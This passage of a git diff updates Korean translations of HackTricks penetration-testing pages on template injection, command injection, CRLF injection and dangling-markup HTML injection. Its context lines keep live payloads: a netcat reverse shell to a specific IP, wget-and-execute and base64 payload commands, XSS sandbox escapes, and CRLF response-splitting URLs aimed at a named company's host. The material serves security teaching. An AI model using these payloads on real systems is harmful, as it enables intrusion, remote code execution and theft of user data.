있도록 합니다. 다양한 요구를 수용할 수 있는 다양한 가격 패키지가 제공되어 사용자에게 유연성을 보장합니다. -{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %} +{{#ref}} +https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 438b0c56d..b2ff9823b 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -4,7 +4,7 @@ ## 요약 -이는 [**서버 사이드 템플릿 인젝션**](ssti-server-side-template-injection/)과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다. +이는 **서버 사이드 템플릿 인젝션**([**Server Side Template Injection**](ssti-server-side-template-injection/))과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다. 이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않다면 원래의 `{{ 7-7 }}`가 표시됩니다. @@ -23,8 +23,7 @@ AngularJS는 HTML과 상호작용하는 널리 사용되는 JavaScript 프레임 ``` 당신은 **AngularJS**의 취약점에 대한 매우 **기본적인 온라인 예제**를 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)와 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)에서 찾을 수 있습니다. -> [!CAUTION] -> [**Angular 1.6에서 샌드박스가 제거되었습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 ``와 같은 페이로드가 작동해야 합니다. +> [!CAUTION] > [**Angular 1.6은 샌드박스를 제거했습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 ``와 같은 페이로드가 작동해야 합니다. ## VueJS @@ -42,7 +41,7 @@ A really good post on CSTI in VUE can be found in [https://portswigger.net/resea ``` {{_openBlock.constructor('alert(1)')()}} ``` -Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +크레딧: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V2** ``` @@ -72,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images ## **무차별 대입 탐지 목록** -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} - +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index c1964d485..0f22cd8bc 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,10 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - ## What is command Injection? -**명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 액세스 또는 제어를 얻을 수 있게 합니다. +**명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 접근 또는 제어를 얻을 수 있게 합니다. ### Context @@ -32,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **제한** 우회 -리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면 이 **우회**에 대해 읽어보는 것이 좋습니다: +리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면, 이 **우회**에 대해 읽어보는 것이 좋습니다: {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -44,7 +43,7 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php / vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` -### 매개변수 +### Parameters 다음은 코드 주입 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` @@ -118,11 +117,13 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -## 브루트 포스 탐지 목록 +## 브루트포스 탐지 목록 -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt +{{#endref}} -## 참고 문헌 +## 참고문헌 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index e9731f130..8ac7428dc 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -2,11 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - - ### CRLF -캐리지 리턴(CR)과 라인 피드(LF)는 함께 CRLF로 알려져 있으며, HTTP 프로토콜에서 줄의 끝이나 새로운 줄의 시작을 나타내기 위해 사용되는 특수 문자 시퀀스입니다. 웹 서버와 브라우저는 CRLF를 사용하여 HTTP 헤더와 응답 본문을 구분합니다. 이러한 문자는 Apache 및 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에 보편적으로 사용됩니다. +캐리지 리턴(CR)과 라인 피드(LF)는 함께 CRLF로 알려져 있으며, HTTP 프로토콜에서 줄의 끝이나 새로운 줄의 시작을 나타내기 위해 사용되는 특수 문자 시퀀스입니다. 웹 서버와 브라우저는 HTTP 헤더와 응답 본문을 구분하기 위해 CRLF를 사용합니다. 이러한 문자는 Apache 및 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에 보편적으로 사용됩니다. ### CRLF Injection Vulnerability @@ -37,15 +35,15 @@ IP - Time - Visited Path #### 설명 -HTTP Response Splitting은 공격자가 HTTP 응답의 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 특정 문자 시퀀스인 Carriage Return (CR)과 Line Feed (LF)를 사용하여 헤더와 본문을 구분하며, 이를 CRLF라고 합니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하는 데 성공하면, 이후의 응답 내용을 효과적으로 조작할 수 있습니다. 이러한 유형의 조작은 심각한 보안 문제, 특히 Cross-site Scripting (XSS)으로 이어질 수 있습니다. +HTTP Response Splitting은 공격자가 HTTP 응답의 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 특정 문자 시퀀스인 Carriage Return (CR)과 Line Feed (LF)를 사용하여 헤더와 본문을 구분하며, 이를 CRLF라고 합니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하는 데 성공하면, 이후 응답 내용을 효과적으로 조작할 수 있습니다. 이러한 유형의 조작은 심각한 보안 문제, 특히 Cross-site Scripting (XSS)으로 이어질 수 있습니다. #### HTTP Response Splitting을 통한 XSS 1. 애플리케이션은 다음과 같은 사용자 정의 헤더를 설정합니다: `X-Custom-Header: UserInput` -2. 애플리케이션은 쿼리 매개변수에서 `UserInput`의 값을 가져옵니다. 예를 들어 "user_input"입니다. 적절한 입력 검증 및 인코딩이 없는 시나리오에서 공격자는 CRLF 시퀀스와 악의적인 콘텐츠를 포함하는 페이로드를 작성할 수 있습니다. +2. 애플리케이션은 쿼리 매개변수에서 `UserInput`의 값을 가져옵니다. 예를 들어 "user_input"입니다. 적절한 입력 검증 및 인코딩이 없는 시나리오에서 공격자는 CRLF 시퀀스와 악의적인 내용을 포함하는 페이로드를 작성할 수 있습니다. 3. 공격자는 특별히 조작된 'user_input'을 가진 URL을 작성합니다: `?user_input=Value%0d%0a%0d%0a` - 이 URL에서 `%0d%0a%0d%0a`는 CRLFCRLF의 URL 인코딩된 형태입니다. 이는 서버를 속여 CRLF 시퀀스를 삽입하게 하여 서버가 이후 부분을 응답 본문으로 처리하게 만듭니다. -4. 서버는 공격자의 입력을 응답 헤더에 반영하여 악의적인 스크립트가 응답 본문의 일부로 브라우저에 의해 해석되는 의도치 않은 응답 구조를 초래합니다. +4. 서버는 응답 헤더에 공격자의 입력을 반영하여 악의적인 스크립트가 응답 본문의 일부로 브라우저에 의해 해석되는 의도치 않은 응답 구조를 초래합니다. #### 리디렉션으로 이어지는 HTTP Response Splitting의 예 @@ -65,26 +63,26 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT ``` #### URL 경로에서 -서버의 **응답**을 제어하기 위해 **URL 경로 안에** 페이로드를 보낼 수 있습니다 (예시는 [여기](https://hackerone.com/reports/192667)에서): +서버의 **응답**을 제어하기 위해 **URL 경로 안에** 페이로드를 보낼 수 있습니다 (예시: [여기](https://hackerone.com/reports/192667)): ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` -더 많은 예시는 다음에서 확인하세요: - -{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} +{{#ref}} +https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md +{{#endref}} ### HTTP 헤더 주입 -HTTP 헤더 주입은 종종 CRLF (Carriage Return and Line Feed) 주입을 통해 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (Cross-Site Scripting) 필터나 SOP (Same-Origin Policy)와 같은 보안 메커니즘을 무력화할 수 있으며, CSRF 토큰과 같은 민감한 데이터에 대한 무단 접근이나 쿠키 삽입을 통한 사용자 세션 조작으로 이어질 수 있습니다. +HTTP 헤더 주입은 CRLF (Carriage Return and Line Feed) 주입을 통해 자주 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (Cross-Site Scripting) 필터나 SOP (Same-Origin Policy)와 같은 보안 메커니즘을 무력화할 수 있으며, CSRF 토큰과 같은 민감한 데이터에 대한 무단 접근이나 쿠키 심기를 통한 사용자 세션 조작으로 이어질 수 있습니다. #### HTTP 헤더 주입을 통한 CORS 악용 -공격자는 HTTP 헤더를 주입하여 CORS (Cross-Origin Resource Sharing)를 활성화할 수 있으며, SOP에 의해 부과된 제한을 우회할 수 있습니다. 이 침해는 악의적인 출처의 스크립트가 다른 출처의 리소스와 상호작용할 수 있게 하여, 보호된 데이터에 접근할 수 있게 합니다. +공격자는 HTTP 헤더를 주입하여 CORS (Cross-Origin Resource Sharing)를 활성화할 수 있으며, 이는 SOP에 의해 부과된 제한을 우회합니다. 이 침해는 악의적인 출처의 스크립트가 다른 출처의 리소스와 상호작용할 수 있게 하여, 보호된 데이터에 접근할 수 있게 합니다. #### CRLF를 통한 SSRF 및 HTTP 요청 주입 -CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 주입하는 데 활용될 수 있습니다. 이의 주목할 만한 예는 PHP의 `SoapClient` 클래스의 취약점으로, 특히 `user_agent` 매개변수 내에서 발생합니다. 이 매개변수를 조작함으로써, 공격자는 추가 헤더와 본문 내용을 삽입하거나 심지어 완전히 새로운 HTTP 요청을 주입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예제입니다: +CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 주입하는 데 활용될 수 있습니다. 이의 주목할 만한 예는 PHP의 `SoapClient` 클래스의 취약점으로, 특히 `user_agent` 매개변수 내에서 발생합니다. 이 매개변수를 조작함으로써 공격자는 추가 헤더와 본문 내용을 삽입하거나, 심지어 완전히 새로운 HTTP 요청을 주입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예제입니다: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; @@ -109,7 +107,7 @@ array( # Put a netcat listener on port 9090 $client->__soapCall("test", []); ``` -### 헤더 주입을 통한 요청 밀반입 +### 헤더 주입을 통한 요청 밀수 이 기술과 잠재적인 문제에 대한 자세한 내용은 [**원본 소스 확인**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)을 참조하세요. @@ -117,7 +115,7 @@ $client->__soapCall("test", []); ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` -그 후, 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 [HTTP request smuggling](http-request-smuggling/)과 관련이 있으며, 여기서 서버가 주입 후 추가한 헤더나 본문 요소가 다양한 보안 취약점을 초래할 수 있습니다. +그 후, 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 [HTTP request smuggling](http-request-smuggling/)과 관련이 있으며, 서버가 주입 후 추가한 헤더나 본문 요소가 다양한 보안 취약점을 초래할 수 있는 기술입니다. **악용:** @@ -145,7 +143,7 @@ Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
-게다가, 연구자들은 공격자가 알지 못하는 사용자의 이메일로 공격자의 IP와 포트를 전송하기 위해 memcache 응답을 비동기화할 수 있다는 것을 발견했습니다: +게다가, 연구자들은 공격자가 알지 못하는 사용자의 이메일로 공격자의 IP와 포트를 전송하기 위해 memcache 응답을 비동기화할 수 있다는 것도 발견했습니다:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
@@ -155,7 +153,7 @@ Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소 1. **응답 헤더에 직접 사용자 입력 피하기**: 가장 안전한 접근법은 사용자 제공 입력을 응답 헤더에 직접 포함하지 않는 것입니다. 2. **특수 문자 인코딩**: 직접 사용자 입력을 피할 수 없는 경우, CR(캐리지 리턴) 및 LF(라인 피드)와 같은 특수 문자를 인코딩하는 전용 함수를 사용해야 합니다. 이 관행은 CRLF 주입 가능성을 방지합니다. -3. **프로그래밍 언어 업데이트**: 웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더를 설정하는 함수 내에서 CR 및 LF 문자의 주입을 본질적으로 허용하지 않는 버전을 선택하십시오. +3. **프로그래밍 언어 업데이트**: 웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더 설정을 담당하는 함수 내에서 CR 및 LF 문자의 주입을 본질적으로 허용하지 않는 버전을 선택하십시오. ### CHEATSHEET @@ -186,7 +184,7 @@ Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소 - [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) - [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz) -## 무차별 대입 탐지 목록 +## 브루트포스 탐지 목록 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt) @@ -197,6 +195,4 @@ Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소 - [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) - [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) - - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 57e2d4e46..46f92dd22 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,8 +4,8 @@ ## Resume -이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. 이는 **XSS** [**를 악용할 방법을 찾지 못할 때**](../xss-cross-site-scripting/) 유용하며, **일부 HTML 태그를 주입할 수 있는 경우**에 매우 유용합니다.\ -또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 일부 스크립트 실행을 오도하고 싶을 때도 유용합니다. +이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. 이는 **XSS** [**를 악용할 방법을 찾지 못할 때**](../xss-cross-site-scripting/) 유용하며, **HTML 태그를 주입할 수 있는 경우**에 매우 유용합니다.\ +또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 스크립트 실행을 오도하고 싶을 때도 유용합니다. 여기에서 언급된 여러 기술은 정보를 예상치 못한 방식으로 유출하여 일부 [**Content Security Policy**](../content-security-policy-csp-bypass/)를 우회하는 데 사용할 수 있습니다 (html 태그, CSS, http-meta 태그, 폼, base...). @@ -32,7 +32,7 @@ CSS `@import`를 악용할 수도 있습니다(세미콜론(";")을 찾을 때 ```html test @@ -41,7 +41,7 @@ steal me'test ```html ``` -그런 다음, 데이터를 경로로 보내는 폼(``)은 악성 도메인으로 데이터를 보냅니다. +그런 다음, 데이터를 경로로 보내는 폼(``)은 악의적인 도메인으로 데이터를 보냅니다. ### 폼 훔치기 2 @@ -59,15 +59,15 @@ I get consumed! [**이 공격의 예를 이 문서에서 찾으세요**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). -### 평문 비밀 훔치기 2 +### 명확한 텍스트 비밀 훔치기 2 가장 최근에 언급된 기술을 사용하여 양식을 훔치고 (새 양식 헤더 주입) 새로운 입력 필드를 주입할 수 있습니다: ```html ` 태그를 주입하여 같은 작업을 수행할 수 있습니다. 닫힌 ``이 발견될 때까지 모든 데이터가 전송됩니다: +폼과 ``이 발견될 때까지 모든 데이터가 전송됩니다: ```html Click Me